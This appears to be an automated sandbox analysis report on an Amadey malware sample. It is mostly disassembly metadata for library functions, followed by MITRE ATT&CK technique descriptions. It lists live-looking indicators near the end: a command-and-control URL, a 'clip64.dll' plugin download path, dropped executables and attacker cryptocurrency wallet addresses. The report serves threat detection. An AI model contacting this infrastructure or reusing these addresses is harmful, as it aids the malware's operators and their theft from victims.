Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 2e8c2c8906b9a0acea84fa22e9fa28c5d5bdd06d02e7942fc2b3721ec8b257ae
Instruction ID: a3c03a621ed98eb2687372fa6c560132787911e629c6c2fe20da2745504d1d2b
Opcode Fuzzy Hash: 2e8c2c8906b9a0acea84fa22e9fa28c5d5bdd06d02e7942fc2b3721ec8b257ae
Instruction Fuzzy Hash: 9A415E75904A05AFDB28DFF5D8899AFBBF9FF89300B00452DE956D3610EB30A840CB65

Uniqueness

Uniqueness Score: -1.00%

Function 011F139C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 011F13B4

Part of subcall function 011ED653: HeapFree.KERNEL32(00000000,00000000,?,011F142F,?,00000000,?,?,?,011F1456,?,00000007,?,?,011F1858,?), ref: 011ED669
Part of subcall function 011ED653: GetLastError.KERNEL32(?,?,011F142F,?,00000000,?,?,?,011F1456,?,00000007,?,?,011F1858,?,?), ref: 011ED67B

_free.LIBCMT ref: 011F13C6
_free.LIBCMT ref: 011F13D8
_free.LIBCMT ref: 011F13EA
_free.LIBCMT ref: 011F13FC

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d916644d6672f48bbcb359165df0eb83d16a3e66d8989d1f5605f817edad8a9a
Instruction ID: cda73bacb1f9d8d0393828e9dc8b56dde859b70bab6909dce0243f6925e6a960
Opcode Fuzzy Hash: d916644d6672f48bbcb359165df0eb83d16a3e66d8989d1f5605f817edad8a9a
Instruction Fuzzy Hash: 0BF04F32904A01BBDA2DEA99F489C0B7BD9EA047243944D0AE25CD7955CB30F8C08A98

Uniqueness

Uniqueness Score: -1.00%

Function 011EFA69 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 011EFC03

Strings

*?, xrefs: 011EFAAC

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 7496f51c3f35c99317c8ac37739540d6bea978ec628f8cc924bc48588b70b313
Instruction ID: a80b5233fe403517d6e0983a52ae1b39bfc746e4cde00db4b597b856823ae2f7
Opcode Fuzzy Hash: 7496f51c3f35c99317c8ac37739540d6bea978ec628f8cc924bc48588b70b313
Instruction Fuzzy Hash: FE613B75D0061A9FDF19CFE8C8849ADFBF5EF48314B24816AD815E7340E7719E428B90

Uniqueness

Uniqueness Score: -1.00%

Function 011E8F7D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 011E8FA2
CatchIt.LIBVCRUNTIME ref: 011E9088

Strings

MOC, xrefs: 011E8FB4
RCC, xrefs: 011E8FBC

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: e4066e1f3e7de2e6ed1caa4a43ff201aab4b17184f98d3b20af5145bd358741c
Instruction ID: f634f304bac11658aec9960a13ad99c27e6324e9f6c4079d183521be36973acf
Opcode Fuzzy Hash: e4066e1f3e7de2e6ed1caa4a43ff201aab4b17184f98d3b20af5145bd358741c
Instruction Fuzzy Hash: 8E415771900609AFDF1ADFD8C888AEEBBFABF48308F184159FA14A6251D3359950DB91

Uniqueness

Uniqueness Score: -1.00%

Function 011E8970 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 011E8A37
___AdjustPointer.LIBCMT ref: 011E8A5A
___AdjustPointer.LIBCMT ref: 011E8AF6

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1b4258faa5b6fea531a239ff73f139273258b32b3bc2fba7c40082501553ccc9
Instruction ID: cacc65385f37203949f923ef5fc9fe5ae9715cfc3be9b6781dc6fbb2acd486f5
Opcode Fuzzy Hash: 1b4258faa5b6fea531a239ff73f139273258b32b3bc2fba7c40082501553ccc9
Instruction Fuzzy Hash: 40511671A00A06AFEB2D8FD8D848BBABBE4FF84304F14056DDE0157691E731E980C791

Uniqueness

Uniqueness Score: -1.00%

Function 011D4D10 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,9BC7B195,00000000), ref: 011D4D89
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 011D4DF0
GetProcAddress.KERNEL32(00000000), ref: 011D4DF7

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 3fe6d6fa2c28b9055f36368755b14721868f4efe0aa29e0b7c69bf664fb5677c
Instruction ID: 44d531453a2e427f0d426126883757a692310e0aafcd9dfe0c10e8470e0d1f16
Opcode Fuzzy Hash: 3fe6d6fa2c28b9055f36368755b14721868f4efe0aa29e0b7c69bf664fb5677c
Instruction Fuzzy Hash: 7D512971D04228ABEB2CEF68CD487DDBBB5EB45314F5042A8E415A7AC1EB345EC08F91

Uniqueness

Uniqueness Score: -1.00%

Function 011F4FCE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 011F509E
_free.LIBCMT ref: 011F50C7
SetEndOfFile.KERNEL32(00000000,011F25FD,00000000,011ED4F0,?,?,?,?,?,?,?,011F25FD,011ED4F0,00000000), ref: 011F50F9
GetLastError.KERNEL32(?,?,?,?,?,?,?,011F25FD,011ED4F0,00000000,?,?,?,?,00000000), ref: 011F5115

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: b849c184b89e5c05e270ed81d7e7f42820a159767df4738f0db8806e7f097269
Instruction ID: 43e693abb2b13db36e6d2ea86f139680e1332434c125d164a2386b9864392935
Opcode Fuzzy Hash: b849c184b89e5c05e270ed81d7e7f42820a159767df4738f0db8806e7f097269
Instruction Fuzzy Hash: BF41D772900A069BDB5DABACCC44B9E3BB7AF55364F290518FB14A7291EB30D84087A5

Uniqueness

Uniqueness Score: -1.00%

Function 011EF99A Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 011EAE0F: _free.LIBCMT ref: 011EAE1D

Part of subcall function 011F0971: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,011F4B40,?,00000000,00000000), ref: 011F0A13

GetLastError.KERNEL32 ref: 011EFA02
__dosmaperr.LIBCMT ref: 011EFA09
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 011EFA48
__dosmaperr.LIBCMT ref: 011EFA4F

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ac106e45f0ebeefda2a8ef7f8c4123c89d7d6e417e59293915e5afbc36e01aa4
Instruction ID: 2a56f5bfcc75b6805f5993dec62d212124197faff42ec309ca6270ddb839f29a
Opcode Fuzzy Hash: ac106e45f0ebeefda2a8ef7f8c4123c89d7d6e417e59293915e5afbc36e01aa4
Instruction Fuzzy Hash: AF21FB72604E07BF9B1DAFE98C8882777EDFF842687018519FD599B141E730ED418791

Uniqueness

Uniqueness Score: -1.00%

Function 011EDF44 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,011EAD8D,00000000,?,?,?,011EAF26,?), ref: 011EDF49
_free.LIBCMT ref: 011EDFA6
_free.LIBCMT ref: 011EDFDC
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,011EAF26,?), ref: 011EDFE7

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: af3e7b150c2fd5b37b0e2b6939a0c1880191fa0053a4ce15a5a3e22740d7d085
Instruction ID: f4341a2478e0bc45aa857f6d0147697a700e5ef08ebf2ddfd667eae1d8d22800
Opcode Fuzzy Hash: af3e7b150c2fd5b37b0e2b6939a0c1880191fa0053a4ce15a5a3e22740d7d085
Instruction Fuzzy Hash: 3911E972609D022AEE2E76F8BC8CE2B25DA9FD15787250234F628D32D1DF718C528652

Uniqueness

Uniqueness Score: -1.00%

Function 011EE09B Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,011EB7F5,011EDB7F,?,?,011E8272,?,?,?,?,?,011D20C3,?,?), ref: 011EE0A0
_free.LIBCMT ref: 011EE0FD
_free.LIBCMT ref: 011EE133
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,011E8272,?,?,?,?,?,011D20C3,?,?), ref: 011EE13E

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d3e01a5f25724693ef59979cef4ccadad7545fc6934621da862cd2bed92435f8
Instruction ID: 22c209a01c181283b27cb92a5ee7395a606c385b2650d45928cc7723e7643380
Opcode Fuzzy Hash: d3e01a5f25724693ef59979cef4ccadad7545fc6934621da862cd2bed92435f8
Instruction Fuzzy Hash: 3011C071706E022AD62E27F97C8CD6715D99BD56787160334F128D32D1DF718C514611

Uniqueness

Uniqueness Score: -1.00%

Function 011EE87D Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,011EE9E2,00000000,?,011F370A,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 011EE893
GetLastError.KERNEL32(?,011F370A,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,011EE9E2,00000000,00000104,?), ref: 011EE89D
__dosmaperr.LIBCMT ref: 011EE8A4

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 8c0aeec9fbe75a9737b8652c2caf4d5cdc2ce13c1accfd2a0b103e403ee951be
Instruction ID: 8697927e2d331cddbfac5a249a6eeebce7e2db33740f92592831acc4c960cfc9
Opcode Fuzzy Hash: 8c0aeec9fbe75a9737b8652c2caf4d5cdc2ce13c1accfd2a0b103e403ee951be
Instruction Fuzzy Hash: 5DF08132601916BBDB281FE6DC0CC46BFEAFF542A03054925F62DC6560C731E860CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 011EE8E6 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,011EE9E2,00000000,?,011F3695,00000000,00000000,011EE9E2,?,?,00000000,00000000,00000001), ref: 011EE8FC
GetLastError.KERNEL32(?,011F3695,00000000,00000000,011EE9E2,?,?,00000000,00000000,00000001,00000000,00000000,?,011EE9E2,00000000,00000104), ref: 011EE906
__dosmaperr.LIBCMT ref: 011EE90D

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 1f53d005e0083d911dc42c2a13e89fa121867a03f06f6d91ba77024fe4689651
Instruction ID: 7fb4c3196de7f4f11537b1e9bc0ecee27bda8b2f147da9a2cf14a4facd81374a
Opcode Fuzzy Hash: 1f53d005e0083d911dc42c2a13e89fa121867a03f06f6d91ba77024fe4689651
Instruction Fuzzy Hash: 4AF08132601916BB8B381FE6D84C946BFEAFF442A03054528F62DC6520E731E861CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 011F638F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(011D5140,0000000F,012068F8,00000000,011D5140,?,011F5AA7,011D5140,00000001,011D5140,011D5140,?,011F2ECD,00000000,?,011D5140), ref: 011F63A6
GetLastError.KERNEL32(?,011F5AA7,011D5140,00000001,011D5140,011D5140,?,011F2ECD,00000000,?,011D5140,00000000,011D5140,?,011F3421,011D5140), ref: 011F63B2

Part of subcall function 011F6378: CloseHandle.KERNEL32(FFFFFFFE,011F63C2,?,011F5AA7,011D5140,00000001,011D5140,011D5140,?,011F2ECD,00000000,?,011D5140,00000000,011D5140), ref: 011F6388

___initconout.LIBCMT ref: 011F63C2

Part of subcall function 011F633A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,011F6369,011F5A94,011D5140,?,011F2ECD,00000000,?,011D5140,00000000), ref: 011F634D

WriteConsoleW.KERNEL32(011D5140,0000000F,012068F8,00000000,?,011F5AA7,011D5140,00000001,011D5140,011D5140,?,011F2ECD,00000000,?,011D5140,00000000), ref: 011F63D7

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5d3119f84be7b81615f32dbda15428eaad7ebebc8a7fba1dadd0b6da30d3ab1e
Instruction ID: d4b5896a7bd9a3a330fe09e151bd4ff626f00e6f11a5a48cba3a132c6d431ab8
Opcode Fuzzy Hash: 5d3119f84be7b81615f32dbda15428eaad7ebebc8a7fba1dadd0b6da30d3ab1e
Instruction Fuzzy Hash: D0F03736505259BBCF372F95EC08D9A3F66FB19261B014028FB2C95220C7328960DB91

Uniqueness

Uniqueness Score: -1.00%

Function 011E71BA Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,011E7157,00000064), ref: 011E71DD
LeaveCriticalSection.KERNEL32(01209708,000000FF,?,011E7157,00000064,?,?,?,011D3E30,0120C468,9BC7B195,?,00000000,011F8818,000000FF), ref: 011E71E7
WaitForSingleObjectEx.KERNEL32(000000FF,00000000,?,011E7157,00000064,?,?,?,011D3E30,0120C468,9BC7B195,?,00000000,011F8818,000000FF), ref: 011E71F8
EnterCriticalSection.KERNEL32(01209708,?,011E7157,00000064,?,?,?,011D3E30,0120C468,9BC7B195,?,00000000,011F8818,000000FF), ref: 011E71FF

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 460c5b292146e3ce9d4c25c26cbc261aea714719de06ce5beab7bf0b426f3a55
Instruction ID: 9228c690ffdd35d274e01e606f53dd938d777e46e0c2aed8a6a052eedb7fa331
Opcode Fuzzy Hash: 460c5b292146e3ce9d4c25c26cbc261aea714719de06ce5beab7bf0b426f3a55
Instruction Fuzzy Hash: 77E09273546124EBDF2F1F92EC0DAC93E59FB48A65B020124F61E521B6C76158C08BD2

Uniqueness

Uniqueness Score: -1.00%

Function 011EBF2A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, xrefs: 011EBF6D, 011EBF74, 011EBFAA

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
API String ID: 0-2325939117
Opcode ID: d23c6c57913cf096430df6ff221941d47a3598ed23ca4169fd58fa9c4d3d4792
Instruction ID: e93297ca431be00565a310f9b1d7b078b1d5f69f3f3fc11870f4556c2b056b08
Opcode Fuzzy Hash: d23c6c57913cf096430df6ff221941d47a3598ed23ca4169fd58fa9c4d3d4792
Instruction Fuzzy Hash: 8741F570E04A05AFCB2ADFDD9C88A9EBFF8EF99314F14006AE505D7241D7718A40CB95

Uniqueness

Uniqueness Score: -1.00%

Source: http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	URL Reputation: Label: malware
Source: 62.204.41.4/Gol478Ns/index.php	URL Reputation: Label: malware
Source: http://62.204.41.4/Gol478Ns/index.php	URL Reputation: Label: malware

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Joe Sandbox ML: detected

Source: 0.3.file.exe.4bb4820.0.raw.unpack	Malware Configuration Extractor: Amadey {"C2 url": "62.204.41.4/Gol478Ns/index.php", "Version": "3.66"}
Source: 28.2.rundll32.exe.6f690000.0.unpack	Malware Configuration Extractor: Amadey {"Wallet Addresses": ["bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77", "0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D", "LdYspWr6nkQ3ZNNTsmba77u4frHDhji1Nv", "DBjzffi3umhLQbUGLRoNQwZ4pjoKyNFahf", "42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikjVVJ"]}

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
